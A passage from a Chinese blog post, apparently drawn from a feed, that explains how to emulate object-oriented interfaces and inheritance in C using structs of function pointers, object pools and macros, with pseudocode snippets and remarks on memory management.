Act1_CreatInterface()</p><p style="TEXT-INDENT: 2em">{</p><p style="TEXT-INDENT: 2em">index=FindValid() //对象池或者使用Malloc ！应该留在外面申请，实例化</p><p style="TEXT-INDENT: 2em">if(index==-1) return NULL;</p><p style="TEXT-INDENT: 2em">St[index].Foo1=Act1_Foo1; // Act1_Foo1要在下面具体实现</p><p style="TEXT-INDENT: 2em">St[index].Foo2=Act1_Foo2;</p><p style="TEXT-INDENT: 2em">St[index].Foo3=Act1_Foo3;</p><p style="TEXT-INDENT: 2em">Return &amp;amp;st [index];</p><p style="TEXT-INDENT: 2em">}</p><p style="TEXT-INDENT: 2em">子类Act2同上。</p><p style="TEXT-INDENT: 2em">在main中，假设有一个对象List。List中存贮的是MyVirtualInterface指针，则有：</p><p style="TEXT-INDENT: 2em">if( (p= Act1_CreatInterface()) != NULL)</p><p style="TEXT-INDENT: 2em">List_AddObject(&amp;amp;List, p); //Add All</p><p style="TEXT-INDENT: 2em">While(p=List_GetObject()){</p><p style="TEXT-INDENT: 2em">DoMyAct_SetInterface(p);//使用Interface代替了原来大篇幅的Switch Case</p><p style="TEXT-INDENT: 2em">DoMyAct_Do();//不要理会具体的什么样的动作，just do it</p><p style="TEXT-INDENT: 2em">}</p><p style="TEXT-INDENT: 2em">FREE ALL。</p><p style="TEXT-INDENT: 2em">在微系统里面，比如嵌入式，通常使用对象池的技术，这个时候可以不用考虑释放的问题（对象池预先没有空间，使用Attach，在某个函数中申请一个数组并临时为对象池分配空间，这样函数结束，对象池就释放了）</p><p style="TEXT-INDENT: 2em">但是在Pc环境下，由于程序规模比较大，更重要的是一些特殊的要求，使得对象的生命周期必须延续到申请的那个函数体以外，就不得不使用malloc，实际上即使在C＋＋中，new对象的自动释放始终是一个令人头疼的问题，新的标准引入了智能指针。但是就我个人而言，我觉得将内存释放的问题完全的交给机器是不可信任的，它只能达到准最佳。</p><p style="TEXT-INDENT: 2em">你知道设计Java的垃圾回收算法有多困难吗？现实世界是错综复杂的，在没有先验条件下，要想得到精确的结果及其困难。所以我说程序员要时刻将free记在心上，有关程序的健壮性和自我防御将在另外一篇文章中讲述。</p><p style="TEXT-INDENT: 2em">3．纯虚结构的退化</p><p style="TEXT-INDENT: 2em">下面我们来看看如果struct里面仅仅有一个函数是什么？ 这个时候如果我们不使用struct，仅仅使用函数指针又是什么？ 我们发现，这样就退化为普通的函数指针的使用了。</p><p style="TEXT-INDENT: 2em">所以说，有的时候我觉得面向对象仅仅是一种形式，而不是一种技术。是一种观点，而不是一种算法。但是，正如炭，石墨和钻石的关系一样，虽然分子式都是C，但是组成方法不一样，表现就完全不一样了！</p><p style="TEXT-INDENT: 2em">有的时候，我们经常被编程中琐碎的事情所烦恼，而偏离了重心，其实程序可进化的特性是很重要的。有可能，第一次是不成功的，但是只要可进化，就可以发展。</p><p style="TEXT-INDENT: 2em">4．进阶――类结构树，父类不是纯虚类的类</p><p style="TEXT-INDENT: 2em">前面仅仅讲的是父类是纯虚结构的情况 (面向对象建议的是所有类的基类都是从纯虚类开始的), 那么当类层次比较多的情况下，出现父类不是纯虚结构怎么办呢。嘿嘿，其实在C中的实现比C＋＋要简单多了。因为C中各个函数是分散的。</p><p style="TEXT-INDENT: 2em">在这里使用宏定义是一个很好的办法：比如两个类Act1，ActByOther1&amp;quot;继承&amp;quot;Act1：</p><p style="TEXT-INDENT: 2em">MyVirtualInterface* ActByOther1_CreatInterface()</p><p style="TEXT-INDENT: 2em">{</p><p style="TEXT-INDENT: 2em">index=FindValid() //对象池或者使用Malloc</p><p style="TEXT-INDENT: 2em">if(index==-1) return NULL;</p><p style="TEXT-INDENT: 2em">St[index].Foo1= ActByOther1_Foo1; // Act1_Foo1要在下面具体实现</p><p style="TEXT-INDENT: 2em">St[index].Foo2= ActByOther1_Foo2;</p><p style="TEXT-INDENT: 2em">St[index].Foo3= ActByOther1_Foo3;</p><p style="TEXT-INDENT: 2em">Return &amp;amp;st [index];</p><p style="TEXT-INDENT: 2em">}</p><p style="TEXT-INDENT: 2em">＃define ActByOther1_Foo1 Act1_Foo1 //这就是继承 嘿嘿</p><p style="TEXT-INDENT: 2em">ActByOther1_Foo2（）{} // 可以修改其实现</p><p style="TEXT-INDENT: 2em">ActByOther1_DoByOther() {} //当然就可以添加新的实现咯</p><p style="TEXT-INDENT: 2em">5．实例――可以参见H264的源码，其中NalTool就是这样的一个纯虚结构。 </p>]]> 
</content> 
</entry>
 

</feed>